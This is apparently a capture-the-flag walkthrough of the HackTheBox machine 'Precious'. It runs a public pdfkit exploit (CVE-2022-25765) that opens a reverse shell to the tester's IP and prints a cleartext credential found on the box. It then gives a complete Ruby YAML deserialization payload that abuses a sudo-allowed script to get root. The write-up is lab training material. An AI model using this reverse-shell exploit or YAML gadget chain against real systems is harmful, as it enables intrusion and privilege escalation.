Precious

Metadata

• Platform: HackTheBox
• CTF: Precious
• OS: Linux
• Difficulty: Easy

Summary

This machine hosts a web application, which converts web pages into PDF files. Since the created files disclose the name and version of the application on the backend, we find a public exploit for remote code execution and get a foothold on the system. After finding a config file with clear text credentials for a different account, we can pivot to it.

The newly compromised account has sudo privileges for calling a certain ruby script, which again calls and loads a YAML file. Due to poor coding practices, we can change the way in which the script searches for this file, in order to inject our own YAML file. Using this, we can execute a payload to trigger custom code execution and gain root access on the machine.

Solution

Reconnaissance

Using Nmap, we can discover two open ports.

nmap -sC -sV 10.10.11.189 -oN nmap.txt   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-25 13:00 CET
Nmap scan report for 10.10.11.189
Host is up (0.050s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The web server wants to forward us to precious.htb, meaning we should add this domain to our /etc/hosts file. Once the site loads, we are presented with a web application that converts web pages to PDF files. Since there is no restriction regarding the destination, we can check what the request is doing in more detail.

For this, we can open a network port with a Netcat listener and make a connection to our host by entering our IP and port. Once the machine connects, we can see some information about the system, such as the User-Agent wkhtmltopdf Version/10.0. It seems like this tool is at least in part running on the backend. Research about possible exploits for this version does not yield any meaningful results.

nc -lvnp 1234                             
listening on [any] 1234 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.189] 57186
GET /test HTTP/1.1
Host: 10.10.16.3:1234
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*

User Flag

We should check what actually happens, once the application can generate a PDF file. If we create test.html with some dummy text and host it via a python web server, the site will fetch the content, generate the PDF and download it to our host. Maybe by analyzing this file, we can see how it was created. The easiest way is to dump all the strings of the document.

strings absyiln9p6r59wlnb0f2or6r2huk3i6q.pdf
[...]
<x:xmpmeta xmlns:x='adobe:ns:meta/'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
  <dc:creator>
   <rdf:Seq>
    <rdf:li>Generated by pdfkit v0.8.6</rdf:li>
   </rdf:Seq>
  </dc:creator>
 </rdf:Description>
</rdf:RDF>
</x:xmpmeta>
[...]

The field rdf:li reveals, that the server uses pdfkit v0.8.6 on the backend for the PDF generation. Searching for this version, we come across this exploit regarding CVE-2022-25765. This exploit capitalizes on a vulnerability in the URL digestion to achieve remote code execution. By spawning a Netcat listener and setting the parameters of the exploit, we can a reverse shell as user ruby on the system.

python3 CVE-2022-25765.py -t http://precious.htb -a 10.10.16.3 -p 4444
[*] Input target address is http://precious.htb
[*] Input address for reverse connect is 10.10.16.3
[*] Input port is 4444
[!] Run the shell... Press Ctrl+C after successful connection

In the home directory of this user, there is a ruby related .bundle folder, which contains a config file.

ruby@precious:~/.bundle$ cat config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

It seems like the ruby instance partially uses the henry user on the system, for which it requires these credentials. We can use these credentials to pivot this account over SSH, allowing us to claim the user flag.

55dadfe5d0181260bb80fe46b466e6a3

Root Flag

The herny user makes our effort for privilege escalation somehow easy, as it comes with limited privileges to sudo.

sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
 
User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

According to this, we can execute the update_dependencies.rb script as root. It would be a piece of cake to replace this script with a malicious one, however we neither have write access to the script nor the ruby binary, which makes it a little more challenging. Nevertheless, we are allowed to read this file.

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
 
# TODO: update versions automatically
def update_gems()
end
 
def list_from_file
    YAML.load(File.read("dependencies.yml"))
end
 
def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
 
gems_file = list_from_file
gems_local = list_local_gems
 
gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

It seems like the script load the dependencies from a list in the file dependencies.yml, which lies in a subfolder of this directory. However, If we call the script from this folder, there is an error message.

/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)

In the script, there is no indication as to where ruby actually searches for the dependency file. We can therefore assume, that ruby always refers to the working directory from where the file is being executed. In return, this opens up the possibility of injecting our very own dependencies.yml, if we change into a directory to which we have write access and call the script from there. According to this post, we can even abuse the way in which ruby load this file, and execute commands on the OS as the executing user, in our case root. We can use the payload of the blog post and change the OS command to bash, in order to get a shell as root.

- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: bash #OS Command to Execute
         method_id: :resolve

We now have root access to the system and can claim the root flag.

38af064ea758104597885a34222d50f7